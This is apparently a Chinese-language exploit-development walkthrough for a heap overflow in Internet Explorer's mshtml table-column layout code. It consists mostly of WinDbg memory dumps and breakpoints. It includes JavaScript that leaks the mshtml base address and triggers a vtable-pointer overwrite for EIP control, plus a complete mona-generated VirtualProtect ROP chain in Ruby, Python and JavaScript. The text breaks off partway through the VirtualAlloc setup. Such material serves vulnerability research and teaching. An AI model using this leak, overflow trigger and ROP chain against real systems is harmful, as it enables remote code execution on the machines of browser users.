eax=ffffffff ebx=00390e38 ecx=00412802 edx=ffffffff esi=00000000 edi=0251c914
eip=6887a078 esp=0251c6b8 ebp=0251c8d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax:
6887a078 8bff mov edi,edi
0:005> g
Breakpoint 5 hit
eax=ffffffff ebx=00390e38 ecx=00402c02 edx=ffffffff esi=00000000 edi=0251c12c
eip=6887a078 esp=0251bed0 ebp=0251c0e8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax:
6887a078 8bff mov edi,edi
0:005> dd poi(ebx+0x9c) l100
030ba748 00001004 00001004 00001004 00000000
030ba758 00450045 00450041 00010048 00001004
030ba768 00001004 00001004 00000000 00450045
030ba778 00450041 00010048 00001004 00001004
030ba788 00001004 00000000 00450045 00450041
030ba798 00010048 00001004 00001004 00001004
030ba7a8 00000000 00450045 00450041 00010048
030ba7b8 00001004 00001004 00001004 00000000
030ba7c8 00450045 00450041 00010048 00001004
030ba7d8 00001004 00001004 00000000 00450045
030ba7e8 00450041 00010048 00001004 00001004
030ba7f8 00001004 00000000 00450045 00450041
030ba808 00010048 00001004 00001004 00001004
030ba818 00000000 00450045 00450041 00010048
030ba828 00001004 00001004 00001004 00000000
030ba838 00450045 00450041 00010048 00000045
030ba848 4cd080cb 88000000 000000fa 00410041
030ba858 00410041 00410041 00410041 00410041
030ba868 00410041 00410041 00410041 00410041
030ba878 00410041 00410041 00410041 00410041
030ba888 00410041 00410041 00410041 00410041
030ba898 00410041 00410041 00410041 00410041
030ba8a8 00410041 00410041 00410041 00410041
030ba8b8 00410041 00410041 00410041 00410041
030ba8c8 00410041 00410041 00410041 00410041
030ba8d8 00410041 00410041 00410041 00410041
030ba8e8 00410041 00410041 00410041 00410041
030ba8f8 00410041 00410041 00410041 00410041
030ba908 00410041 00410041 00410041 00410041
030ba918 00410041 00410041 00410041 00410041
030ba928 00410041 00410041 00410041 00410041
030ba938 00410041 00410041 00410041 00410041
030ba948 00410041 00000041 4cd080e8 88000000
030ba958 000000fa 00420042 00420042 00420042
030ba968 00420042 00420042 00420042 00420042
030ba978 00420042 00420042 00420042 00420042
030ba988 00420042 00420042 00420042 00420042
030ba998 00420042 00420042 00420042 00420042
030ba9a8 00420042 00420042 00420042 00420042
030ba9b8 00420042 00420042 00420042 00420042
030ba9c8 00420042 00420042 00420042 00420042
030ba9d8 00420042 00420042 00420042 00420042
030ba9e8 00420042 00420042 00420042 00420042
030ba9f8 00420042 00420042 00420042 00420042
030baa08 00420042 00420042 00420042 00420042
030baa18 00420042 00420042 00420042 00420042
030baa28 00420042 00420042 00420042 00420042
030baa38 00420042 00420042 00420042 00420042
030baa48 00420042 00420042 00420042 00000042
030baa58 4cd08089 8c000000 688c84f8 003af620
030baa68 030b1e10 688c8690 00000001 00000000
030baa78 01080809 ffffffff 00000000 00000000
030baa88 00000000 ffffffff 00000080 ffffffff
030baa98 00000000 00000000 00000000 00000000
030baaa8 00000000 00000024 00000020 00000000
030baab8 00000000 00000000 00000000 00000000
030baac8 00000000 00000000 00000000 00000000
030baad8 00000000 00000000 00000000 00000000
030baae8 00000000 00000000 00000000 030bab10
030baaf8 00000000 00000000 00000000 00000000
030bab08 00000001 00000001 00000000 00000000
030bab18 00000000 00000000 00000000 00000000
030bab28 ffffffff ffffffff ffffffff ffffffff
030bab38 00000000 00000000 00000000 00000000
可以看到vulheap首地址为030ba748,后边是AAA BBBB Cbutton对象,注意此时BBBB字符串的长度信息保存在030ba958处,大小为0xfc,button对象的虚表指针保存在030baa60处
0:005> ln poi(030baa60)
(688c84f8) mshtml!CButtonLayout::`vftable' | (688c8690) mshtml!CButtonLayout::`vftable'
Exact matches:
mshtml!CButtonLayout::`vftable' = <no type information>
在地址68a0f31f下断点,此处eax保存的是要复制的次数:
mshtml!CTableLayout::CalculateMinMax+0x39a:
68a0f309 8bc7 mov eax,edi
68a0f30b e87dd0f5ff call mshtml!CElement::IsDisplayNone (6896c38d)
68a0f310 85c0 test eax,eax
68a0f312 0f854238dcff jne mshtml!CTableLayout::CalculateMinMax+0x3dc (687d2b5a)
mshtml!CTableLayout::CalculateMinMax+0x3a5:
68a0f318 8bc7 mov eax,edi
68a0f31a e8acb3deff call mshtml!CTableCol::GetAAspan (687fa6cb)
68a0f31f 3de8030000 cmp eax,3E8h
68a0f324 894510 mov dword ptr [ebp+10h],eax
68a0f327 7c07 jl mshtml!CTableLayout::CalculateMinMax+0x3bd (68a0f330)
Breakpoint 3 hit
eax=00000013 ebx=00390e38 ecx=00000002 edx=0037b988 esi=030ba844 edi=003b4678
eip=68a0f31f esp=0251be28 ebp=0251becc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x3ac:
68a0f31f 3de8030000 cmp eax,3E8h
可以看到需要复制19次
在地址68a0f475下断点:
mshtml!CTableLayout::CalculateMinMax+0x544:
68a0f466 ff75c0 push dword ptr [ebp-40h]
68a0f469 8b45cc mov eax,dword ptr [ebp-34h]
68a0f46c ff750c push dword ptr [ebp+0Ch]
68a0f46f 8b75d8 mov esi,dword ptr [ebp-28h]
68a0f472 ff75f4 push dword ptr [ebp-0Ch]
68a0f475 e8a0151900 call mshtml!CTableColCalc::AdjustForCol (68ba0a1a)
68a0f47a ff45ec inc dword ptr [ebp-14h]
68a0f47d 8b45ec mov eax,dword ptr [ebp-14h]
68a0f480 8345dc1c add dword ptr [ebp-24h],1Ch
68a0f484 3b4510 cmp eax,dword ptr [ebp+10h]
68a0f487 7caf jl mshtml!CTableLayout::CalculateMinMax+0x516 (68a0f438)
运行,然后单步运行,查看执行函数前后poi(ebx+0x9c):
0:005> g
Breakpoint 6 hit
eax=003cd718 ebx=00390e38 ecx=00000000 edx=00000010 esi=030ba748 edi=00000001
eip=68a0f475 esp=0251be1c ebp=0251becc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x553:
68a0f475 e8a0151900 call mshtml!CTableColCalc::AdjustForCol (68ba0a1a)
0:005> dd poi(ebx+0x9c)
030ba748 00000000 00000000 00000000 00000000
030ba758 00450045 00450041 00000000 00000000
030ba768 00000000 00000000 00000000 00450045
030ba778 00450041 00000000 00000000 00000000
030ba788 00000000 00000000 00450045 00450041
030ba798 00000000 00000000 00000000 00000000
030ba7a8 00000000 00450045 00450041 00000000
030ba7b8 00000000 00000000 00000000 00000000
0:005> p
eax=00010048 ebx=00390e38 ecx=030ba760 edx=00000010 esi=030ba748 edi=00000001
eip=68a0f47a esp=0251be28 ebp=0251becc iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CTableLayout::CalculateMinMax+0x558:
68a0f47a ff45ec inc dword ptr [ebp-14h] ss:0023:0251beb8=00000000
0:005> dd poi(ebx+0x9c)
030ba748 00001004 00001004 00001004 00000000
030ba758 00450045 00450041 00010048 00000000
030ba768 00000000 00000000 00000000 00450045
030ba778 00450041 00000000 00000000 00000000
030ba788 00000000 00000000 00450045 00450041
030ba798 00000000 00000000 00000000 00000000
030ba7a8 00000000 00450045 00450041 00000000
030ba7b8 00000000 00000000 00000000 00000000
因为要连续复制,19次,我们直接下条件断点吧 ,然后查看0x030ba958数据的变化。循环次数保存在ebp-14h,直接在函数adjustforcol下条件断点:
0:005> bp 68a0f475 ".if poi(ebp-0x14)=0x12 {} .else {gc}"
breakpoint 6 redefined
0:005> g
eax=003cd718 ebx=00390e38 ecx=000001f8 edx=00000010 esi=030ba940 edi=00000001
eip=68a0f475 esp=0251be1c ebp=0251becc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x553:
68a0f475 e8a0151900 call mshtml!CTableColCalc::AdjustForCol (68ba0a1a)
0:005> dd ebp-0x14 l1
0251beb8 00000012
0:005> bp 68a0f475 ".if poi(ebp-0x14)=0x12 {} .else {gc}"
breakpoint 6 redefined
0:005> bd 3
0:005> g
eax=003cd718 ebx=00390e38 ecx=000001f8 edx=00000010 esi=030ba940 edi=00000001
eip=68a0f475 esp=0251be1c ebp=0251becc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x553:
68a0f475 e8a0151900 call mshtml!CTableColCalc::AdjustForCol (68ba0a1a)
0:005> dd poi(ebx+0x9c) l100
030ba748 00001004 00001004 00001004 00000000
030ba758 00450045 00450041 00010048 00001004
030ba768 00001004 00001004 00000000 00450045
030ba778 00450041 00010048 00001004 00001004
030ba788 00001004 00000000 00450045 00450041
030ba798 00010048 00001004 00001004 00001004
030ba7a8 00000000 00450045 00450041 00010048
030ba7b8 00001004 00001004 00001004 00000000
030ba7c8 00450045 00450041 00010048 00001004
030ba7d8 00001004 00001004 00000000 00450045
030ba7e8 00450041 00010048 00001004 00001004
030ba7f8 00001004 00000000 00450045 00450041
030ba808 00010048 00001004 00001004 00001004
030ba818 00000000 00450045 00450041 00010048
030ba828 00001004 00001004 00001004 00000000
030ba838 00450045 00450041 00010048 00001004
030ba848 00001004 00001004 000000fa 00410041
030ba858 00410041 00010048 00001004 00001004
030ba868 00001004 00410041 00410041 00410041
030ba878 00010048 00001004 00001004 00001004
030ba888 00410041 00410041 00410041 00010048
030ba898 00001004 00001004 00001004 00410041
030ba8a8 00410041 00410041 00010048 00001004
030ba8b8 00001004 00001004 00410041 00410041
030ba8c8 00410041 00010048 00001004 00001004
030ba8d8 00001004 00410041 00410041 00410041
030ba8e8 00010048 00001004 00001004 00001004
030ba8f8 00410041 00410041 00410041 00010048
030ba908 00001004 00001004 00001004 00410041
030ba918 00410041 00410041 00010048 00001004
030ba928 00001004 00001004 00410041 00410041
030ba938 00410041 00010048 00410041 00410041
030ba948 00410041 00000041 4cd080e8 88000000
030ba958 000000fa 00420042 00420042 00420042
030ba968 00420042 00420042 00420042 00420042
030ba978 00420042 00420042 00420042 00420042
030ba988 00420042 00420042 00420042 00420042
030ba998 00420042 00420042 00420042 00420042
030ba9a8 00420042 00420042 00420042 00420042
030ba9b8 00420042 00420042 00420042 00420042
030ba9c8 00420042 00420042 00420042 00420042
030ba9d8 00420042 00420042 00420042 00420042
030ba9e8 00420042 00420042 00420042 00420042
030ba9f8 00420042 00420042 00420042 00420042
030baa08 00420042 00420042 00420042 00420042
030baa18 00420042 00420042 00420042 00420042
030baa28 00420042 00420042 00420042 00420042
030baa38 00420042 00420042 00420042 00420042
030baa48 00420042 00420042 00420042 00000042
030baa58 4cd08089 8c000000 688c84f8 003af620
030baa68 030b1e10 688c8690 00000001 00000000
030baa78 01080809 ffffffff 00000000 00000000
030baa88 00000000 ffffffff 00000080 ffffffff
030baa98 00000000 00000000 00000000 00000000
030baaa8 00000000 00000024 00000020 00000000
030baab8 00000000 00000000 00000000 00000000
030baac8 00000000 00000000 00000000 00000000
030baad8 00000000 00000000 00000000 00000000
030baae8 00000000 00000000 00000000 030bab10
030baaf8 00000000 00000000 00000000 00000000
030bab08 00000001 00000001 00000000 00000000
030bab18 00000000 00000000 00000000 00000000
030bab28 ffffffff ffffffff ffffffff ffffffff
030bab38 00000000 00000000 00000000 00000000
0:005> p
eax=00010048 ebx=00390e38 ecx=030ba958 edx=00000010 esi=030ba940 edi=00000001
eip=68a0f47a esp=0251be28 ebp=0251becc iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CTableLayout::CalculateMinMax+0x558:
68a0f47a ff45ec inc dword ptr [ebp-14h] ss:0023:0251beb8=00000012
0:005> dd poi(ebx+0x9c) l100
030ba748 00001004 00001004 00001004 00000000
030ba758 00450045 00450041 00010048 00001004
030ba768 00001004 00001004 00000000 00450045
030ba778 00450041 00010048 00001004 00001004
030ba788 00001004 00000000 00450045 00450041
030ba798 00010048 00001004 00001004 00001004
030ba7a8 00000000 00450045 00450041 00010048
030ba7b8 00001004 00001004 00001004 00000000
030ba7c8 00450045 00450041 00010048 00001004
030ba7d8 00001004 00001004 00000000 00450045
030ba7e8 00450041 00010048 00001004 00001004
030ba7f8 00001004 00000000 00450045 00450041
030ba808 00010048 00001004 00001004 00001004
030ba818 00000000 00450045 00450041 00010048
030ba828 00001004 00001004 00001004 00000000
030ba838 00450045 00450041 00010048 00001004
030ba848 00001004 00001004 000000fa 00410041
030ba858 00410041 00010048 00001004 00001004
030ba868 00001004 00410041 00410041 00410041
030ba878 00010048 00001004 00001004 00001004
030ba888 00410041 00410041 00410041 00010048
030ba898 00001004 00001004 00001004 00410041
030ba8a8 00410041 00410041 00010048 00001004
030ba8b8 00001004 00001004 00410041 00410041
030ba8c8 00410041 00010048 00001004 00001004
030ba8d8 00001004 00410041 00410041 00410041
030ba8e8 00010048 00001004 00001004 00001004
030ba8f8 00410041 00410041 00410041 00010048
030ba908 00001004 00001004 00001004 00410041
030ba918 00410041 00410041 00010048 00001004
030ba928 00001004 00001004 00410041 00410041
030ba938 00410041 00010048 00001004 00001004
030ba948 00001004 00000041 4cd080e8 88000000
030ba958 00010048 00420042 00420042 00420042
030ba968 00420042 00420042 00420042 00420042
030ba978 00420042 00420042 00420042 00420042
030ba988 00420042 00420042 00420042 00420042
030ba998 00420042 00420042 00420042 00420042
030ba9a8 00420042 00420042 00420042 00420042
030ba9b8 00420042 00420042 00420042 00420042
030ba9c8 00420042 00420042 00420042 00420042
030ba9d8 00420042 00420042 00420042 00420042
030ba9e8 00420042 00420042 00420042 00420042
030ba9f8 00420042 00420042 00420042 00420042
030baa08 00420042 00420042 00420042 00420042
030baa18 00420042 00420042 00420042 00420042
030baa28 00420042 00420042 00420042 00420042
030baa38 00420042 00420042 00420042 00420042
030baa48 00420042 00420042 00420042 00000042
030baa58 4cd08089 8c000000 688c84f8 003af620
030baa68 030b1e10 688c8690 00000001 00000000
030baa78 01080809 ffffffff 00000000 00000000
030baa88 00000000 ffffffff 00000080 ffffffff
030baa98 00000000 00000000 00000000 00000000
030baaa8 00000000 00000024 00000020 00000000
030baab8 00000000 00000000 00000000 00000000
030baac8 00000000 00000000 00000000 00000000
030baad8 00000000 00000000 00000000 00000000
030baae8 00000000 00000000 00000000 030bab10
030baaf8 00000000 00000000 00000000 00000000
030bab08 00000001 00000001 00000000 00000000
030bab18 00000000 00000000 00000000 00000000
030bab28 ffffffff ffffffff ffffffff ffffffff
030bab38 00000000 00000000 00000000 00000000
可以看到此时BBB的长度信息已经被覆盖掉为0x 00010048,这样的话我们就可以读取字符串后边的信息了,字符串后边正好有一个对象,正好可以读取对象的虚表指针
function strtoint(str) {
return str.charCodeAt(1)*0x10000 + str.charCodeAt(0);
} //解决小端存储的问题,并且将字符串转成整数
function get_leak() {
var str_addr = strtoint(bl[498].substring((0x100-6)/2+(2+8)/2,(0x100-6)/2+(2+8+4)/2));
//alert(str_addr.toString(16));
//alert(typeof(str_addr));
//alert(str_addr.toString(16));
str_addr=(str_addr & 0xffff0000)-0x00150000; //经过这样运算就获取了mshtml的基地址
alert(typeof(str_addr));
alert(str_addr.toString(16));
//alert(str_addr);
//str_addr = str_addr - 1410704;
//setTimeout(function(){heapspray(str_addr)}, 200);
}
可以看到此时mshtml.dll的基地址是0x674e0000.
再进一步控制EIP,这需要进一步堆溢出,覆盖对象的虚表指针,覆盖的数据我们可以控制,即width*100,前边也介绍过
function trigger_overflow(){
var evil_col = document.getElementById("132");
evil_col.width = "1178993";
evil_col.span = "32"; //zhishaoshi 0x1d=29
}
其中span的值必须要大于等于29,因为29*0x1c=0x32c
溢出时,需要覆盖vulheap AAA部分 BBB部分 大小为0x100*3+8*2(AAA BBB的堆首信息)+0x8(CButton对象的堆首信息)=0x318,这样才能覆盖到。
覆盖的数据为1178993*100=0x07070024或者8|16*0x07070024=0x70700248(前面有介绍)
调试看一下:
首先在函数mshtml!CTableLayout::CalculateMinMax上下断,然后运行程序,会断下三次,然后在mshtml!CTableLayout::CalculateMinMax+0x3ac(函数getaaspan下一条汇编指令)上下断,查看eax信息,可以看到此时eax=0x20:
0:005> bp 6910f31f
0:005> bl
0 d 6996a1aa 0001 (0001) 0:**** ".echo vulheap;dd poi(ebx+9c) l4;g"
1 d 686aa1aa 0001 (0001) 0:**** ".echo vulheap;dd poi(ebx+9c) l4;g"
2 d 76e92c6a 0001 (0001) 0:**** ntdll!RtlFreeHeap ".echo free heap;db poi(esp+c) l10;g"
3 e 6910f31f 0001 (0001) 0:**** mshtml!CTableLayout::CalculateMinMax+0x3ac
4 d 694ea1aa 0001 (0001) 0:**** ".echo vulheap;dd poi(ebx+9c) l4;g"
5 e 68f7a078 0001 (0001) 0:**** mshtml!CTableLayout::CalculateMinMax
0:005> dd poi(ebx+0x9c) l1 //vulheap
03fb1800 00001004
0:005> g
Breakpoint 3 hit
eax=00000020 ebx=005e81b0 ecx=00000002 edx=0056f6e8 esi=03fb18fc edi=005ef0f8
eip=6910f31f esp=0250bd60 ebp=0250be04 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x3ac:
6910f31f 3de8030000 cmp eax,3E8h
因为要复制很多次,所以我们再下一个条件断点,在函数adjustforcol上下条件断点:
0:005> bp 6910f475 ".if poi(ebp-0x14)=0x1c {} .else {gc}"
0:005> bl
0 d 6996a1aa 0001 (0001) 0:**** ".echo vulheap;dd poi(ebx+9c) l4;g"
1 d 686aa1aa 0001 (0001) 0:**** ".echo vulheap;dd poi(ebx+9c) l4;g"
2 d 76e92c6a 0001 (0001) 0:**** ntdll!RtlFreeHeap ".echo free heap;db poi(esp+c) l10;g"
3 e 6910f31f 0001 (0001) 0:**** mshtml!CTableLayout::CalculateMinMax+0x3ac
4 d 694ea1aa 0001 (0001) 0:**** ".echo vulheap;dd poi(ebx+9c) l4;g"
5 e 68f7a078 0001 (0001) 0:**** mshtml!CTableLayout::CalculateMinMax
6 e 6910f475 0001 (0001) 0:**** mshtml!CTableLayout::CalculateMinMax+0x553 ".if poi(ebp-0x14)=0x1c {} .else {gc}"
0:005> g
eax=005c4d30 ebx=005e81b0 ecx=00000310 edx=00070700 esi=03fb1b10 edi=00000001
eip=6910f475 esp=0250bd54 ebp=0250be04 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x553:
6910f475 e8a0151900 call mshtml!CTableColCalc::AdjustForCol (692a0a1a)
0:005> dd ebp-0x14 l1
0250bdf0 0000001c
0:005> dd poi(ebx+0x9c) l100
03fb1800 07070024 07070024 07070024 00000000
03fb1810 00450045 00450041 70700248 07070024
03fb1820 07070024 07070024 00000000 00450045
03fb1830 00450041 70700248 07070024 07070024
03fb1840 07070024 00000000 00450045 00450041
03fb1850 70700248 07070024 07070024 07070024
03fb1860 00000000 00450045 00450041 70700248
03fb1870 07070024 07070024 07070024 00000000
03fb1880 00450045 00450041 70700248 07070024
03fb1890 07070024 07070024 00000000 00450045
03fb18a0 00450041 70700248 07070024 07070024
03fb18b0 07070024 00000000 00450045 00450041
03fb18c0 70700248 07070024 07070024 07070024
03fb18d0 00000000 00450045 00450041 70700248
03fb18e0 07070024 07070024 07070024 00000000
03fb18f0 00450045 00450041 70700248 07070024
03fb1900 07070024 07070024 000000fa 00410041
03fb1910 00410041 70700248 07070024 07070024
03fb1920 07070024 00410041 00410041 00410041
03fb1930 70700248 07070024 07070024 07070024
03fb1940 00410041 00410041 00410041 70700248
03fb1950 07070024 07070024 07070024 00410041
03fb1960 00410041 00410041 70700248 07070024
03fb1970 07070024 07070024 00410041 00410041
03fb1980 00410041 70700248 07070024 07070024
03fb1990 07070024 00410041 00410041 00410041
03fb19a0 70700248 07070024 07070024 07070024
03fb19b0 00410041 00410041 00410041 70700248
03fb19c0 07070024 07070024 07070024 00410041
03fb19d0 00410041 00410041 70700248 07070024
03fb19e0 07070024 07070024 00410041 00410041
03fb19f0 00410041 70700248 07070024 07070024
03fb1a00 07070024 00000041 14878230 88000000
03fb1a10 70700248 07070024 07070024 07070024
03fb1a20 00420042 00420042 00420042 70700248
03fb1a30 07070024 07070024 07070024 00420042
03fb1a40 00420042 00420042 70700248 07070024
03fb1a50 07070024 07070024 00420042 00420042
03fb1a60 00420042 70700248 07070024 07070024
03fb1a70 07070024 00420042 00420042 00420042
03fb1a80 70700248 07070024 07070024 07070024
03fb1a90 00420042 00420042 00420042 70700248
03fb1aa0 07070024 07070024 07070024 00420042
03fb1ab0 00420042 00420042 70700248 07070024
03fb1ac0 07070024 07070024 00420042 00420042
03fb1ad0 00420042 70700248 07070024 07070024
03fb1ae0 07070024 00420042 00420042 00420042
03fb1af0 70700248 07070024 07070024 07070024
03fb1b00 00420042 00420042 00420042 70700248
03fb1b10 14878213 8c000000 68fc84f8 005b17c0
03fb1b20 03fa6da0 68fc8690 00000001 00000000
03fb1b30 01080809 ffffffff 00000000 00000000
03fb1b40 00000000 ffffffff 00000080 ffffffff
03fb1b50 00000000 00000000 00000000 00000000
03fb1b60 00000000 00000024 00000020 00000000
03fb1b70 00000000 00000000 00000000 00000000
03fb1b80 00000000 00000000 00000000 00000000
03fb1b90 00000000 00000000 00000000 00000000
03fb1ba0 00000000 00000000 00000000 03fb1bc8
03fb1bb0 00000000 00000000 00000000 00000000
03fb1bc0 00000001 00000001 00000000 00000000
03fb1bd0 00000000 00000000 00000000 00000000
03fb1be0 ffffffff ffffffff ffffffff ffffffff
03fb1bf0 00000000 00000000 00000000 00000000
注意地址03fb1b18处数据的变化,本来是保存虚表指针的:
0:005> p
eax=70700248 ebx=005e81b0 ecx=03fb1b28 edx=00070700 esi=03fb1b10 edi=00000001
eip=6910f47a esp=0250bd60 ebp=0250be04 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CTableLayout::CalculateMinMax+0x558:
6910f47a ff45ec inc dword ptr [ebp-14h] ss:0023:0250bdf0=0000001c
0:005> dd 03fb1b00
03fb1b00 00420042 00420042 00420042 70700248
03fb1b10 07070024 07070024 07070024 005b17c0
03fb1b20 03fa6da0 68fc8690 70700248 00000000
03fb1b30 01080809 ffffffff 00000000 00000000
03fb1b40 00000000 ffffffff 00000080 ffffffff
03fb1b50 00000000 00000000 00000000 00000000
03fb1b60 00000000 00000024 00000020 00000000
03fb1b70 00000000 00000000 00000000 00000000
可以看到此时虚表指针已经被替换成了07070024,这样调用对象的虚函数时,就会调用虚表指针里的虚函数表,如果我们可以控制地址0x07070024的内容,那就可以控制EIP了。
0:005> ba r4 07070024
0:005> g
(b50.f74): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=07070024 ebx=01000000 ecx=03fb1b18 edx=00000041 esi=0250d580 edi=03fa6da0
eip=6903e664 esp=0250d3bc ebp=0250d3f0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
mshtml!NotifyElement+0x3e:
6903e664 ff5008 call dword ptr [eax+8] ds:0023:0707002c=????????
可以看到EIP被我们控制了
接下来就是heap spray,在0x0707002c处布置我们的shellcode,在介绍布置shellcode之前,首先介绍一下ROP:
在windbg中利用mona.py对指定模块搜索ROP代码:
0:005> .load pykd
0:005> !py mona rop -m mshtml.dll
*******************************************************************************************
You are running a newer version of pykd.pyd
mona.py was tested against v0.2.0.29
and not against v0.3.1.7
This version may not work properly.
。。。。。。。。。。。。。。。。。。。
。。。。。。。。。。。。。。。。。。。
。。。。。。。。。。。。。。。。。。。
[+] Creating suggestions list
[+] Processing suggestions
[+] Launching ROP generator
[+] Attempting to produce rop chain for VirtualProtect
Enumerating ROPFunc info
[+] Searching from 0x68e70000 to 0x69427000
[+] Preparing output file 'mshtml_virtualprotect.xml'
- (Re)setting logfile mshtml_virtualprotect.xml
[+] Attempting to produce rop chain for VirtualAlloc
Enumerating ROPFunc info
[+] Searching from 0x68e70000 to 0x69427000
[+] Preparing output file 'mshtml_virtualalloc.xml'
- (Re)setting logfile mshtml_virtualalloc.xml
[+] Preparing output file 'rop_chains.txt'
- (Re)setting logfile rop_chains.txt
[+] ROP chains written to file rop_chains.txt
################################################################################
Register setup for VirtualProtect() :
--------------------------------------------
EAX = NOP (0x90909090)
ECX = lpOldProtect (ptr to W address)
EDX = NewProtect (0x40)
EBX = dwSize
ESP = lPAddress (automatic)
EBP = ReturnTo (ptr to jmp esp)
ESI = ptr to VirtualProtect()
EDI = ROP NOP (RETN)
--- alternative chain ---
EAX = tr to &VirtualProtect()
ECX = lpOldProtect (ptr to W address)
EDX = NewProtect (0x40)
EBX = dwSize
ESP = lPAddress (automatic)
EBP = POP (skip 4 bytes)
ESI = ptr to JMP [EAX]
EDI = ROP NOP (RETN)
+ place ptr to "jmp esp" on stack, below PUSHAD
--------------------------------------------
ROP Chain for VirtualProtect() [(XP/2003 Server and up)] :
----------------------------------------------------------
*** [ Ruby ] ***
def create_rop_chain()
# rop chain generated with mona.py - www.corelan.be
rop_gadgets =
[
0x68edd743, # POP EBP # RETN [mshtml.dll]
0x68edd743, # skip 4 bytes [mshtml.dll]
0x692a240a, # POP EBX # RETN [mshtml.dll]
0x00000201, # 0x00000201-> ebx
0x6916b796, # POP EDX # RETN [mshtml.dll]
0x00000040, # 0x00000040-> edx
0x69157863, # POP ECX # RETN [mshtml.dll]
0x693a8737, # &Writable location [mshtml.dll]
0x6904ca2f, # POP EDI # RETN [mshtml.dll]
0x68ff38e2, # RETN (ROP NOP) [mshtml.dll]
0x69094dfb, # POP ESI # RETN [mshtml.dll]
0x68e7c0a3, # JMP [EAX] [mshtml.dll]
0x691c13ef, # POP EAX # RETN [mshtml.dll]
0x68e71348, # ptr to &VirtualProtect() [IAT mshtml.dll]
0x68edcce2, # PUSHAD # RETN [mshtml.dll]
0x68eab04f, # ptr to 'jmp esp' [mshtml.dll]
].flatten.pack("V*")
return rop_gadgets
end
# Call the ROP chain generator inside the 'exploit' function :
rop_chain = create_rop_chain()
*** [ Python ] ***
def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = ""
rop_gadgets += struct.pack('<L',0x68edd743) # POP EBP # RETN [mshtml.dll]
rop_gadgets += struct.pack('<L',0x68edd743) # skip 4 bytes [mshtml.dll]
rop_gadgets += struct.pack('<L',0x692a240a) # POP EBX # RETN [mshtml.dll]
rop_gadgets += struct.pack('<L',0x00000201) # 0x00000201-> ebx
rop_gadgets += struct.pack('<L',0x6916b796) # POP EDX # RETN [mshtml.dll]
rop_gadgets += struct.pack('<L',0x00000040) # 0x00000040-> edx
rop_gadgets += struct.pack('<L',0x69157863) # POP ECX # RETN [mshtml.dll]
rop_gadgets += struct.pack('<L',0x693a8737) # &Writable location [mshtml.dll]
rop_gadgets += struct.pack('<L',0x6904ca2f) # POP EDI # RETN [mshtml.dll]
rop_gadgets += struct.pack('<L',0x68ff38e2) # RETN (ROP NOP) [mshtml.dll]
rop_gadgets += struct.pack('<L',0x69094dfb) # POP ESI # RETN [mshtml.dll]
rop_gadgets += struct.pack('<L',0x68e7c0a3) # JMP [EAX] [mshtml.dll]
rop_gadgets += struct.pack('<L',0x691c13ef) # POP EAX # RETN [mshtml.dll]
rop_gadgets += struct.pack('<L',0x68e71348) # ptr to &VirtualProtect() [IAT mshtml.dll]
rop_gadgets += struct.pack('<L',0x68edcce2) # PUSHAD # RETN [mshtml.dll]
rop_gadgets += struct.pack('<L',0x68eab04f) # ptr to 'jmp esp' [mshtml.dll]
return rop_gadgets
rop_chain = create_rop_chain()
*** [ JavaScript ] ***
//rop chain generated with mona.py - www.corelan.be
rop_gadgets = unescape(
"%ud743%u68ed" + // 0x68edd743 : ,# POP EBP # RETN [mshtml.dll]
"%ud743%u68ed" + // 0x68edd743 : ,# skip 4 bytes [mshtml.dll]
"%u2a24" + // 0x692a240a : ,# POP EBX # RETN [mshtml.dll]
"%u0201%u0000" + // 0x00000201 : ,# 0x00000201-> ebx
"%ub796%u6916" + // 0x6916b796 : ,# POP EDX # RETN [mshtml.dll]
"%u0040%u0000" + // 0x00000040 : ,# 0x00000040-> edx
"%u7863%u6915" + // 0x69157863 : ,# POP ECX # RETN [mshtml.dll]
"%u8737%u693a" + // 0x693a8737 : ,# &Writable location [mshtml.dll]
"%uca2f%u6904" + // 0x6904ca2f : ,# POP EDI # RETN [mshtml.dll]
"%u38e2%u68ff" + // 0x68ff38e2 : ,# RETN (ROP NOP) [mshtml.dll]
"%u4dfb%u6909" + // 0x69094dfb : ,# POP ESI # RETN [mshtml.dll]
"%uc0a3%u68e7" + // 0x68e7c0a3 : ,# JMP [EAX] [mshtml.dll]
"%u13ef%u691c" + // 0x691c13ef : ,# POP EAX # RETN [mshtml.dll]
"%u1348%u68e7" + // 0x68e71348 : ,# ptr to &VirtualProtect() [IAT mshtml.dll]
"%ucce2%u68ed" + // 0x68edcce2 : ,# PUSHAD # RETN [mshtml.dll]
"%ub04f%u68ea" + // 0x68eab04f : ,# ptr to 'jmp esp' [mshtml.dll]
""); // :
--------------------------------------------------------------------------------------------------
################################################################################
Register setup for VirtualAlloc() :
--------------------------------------------
EAX = NOP (0x90909090)
ECX = flProtect (0x40)
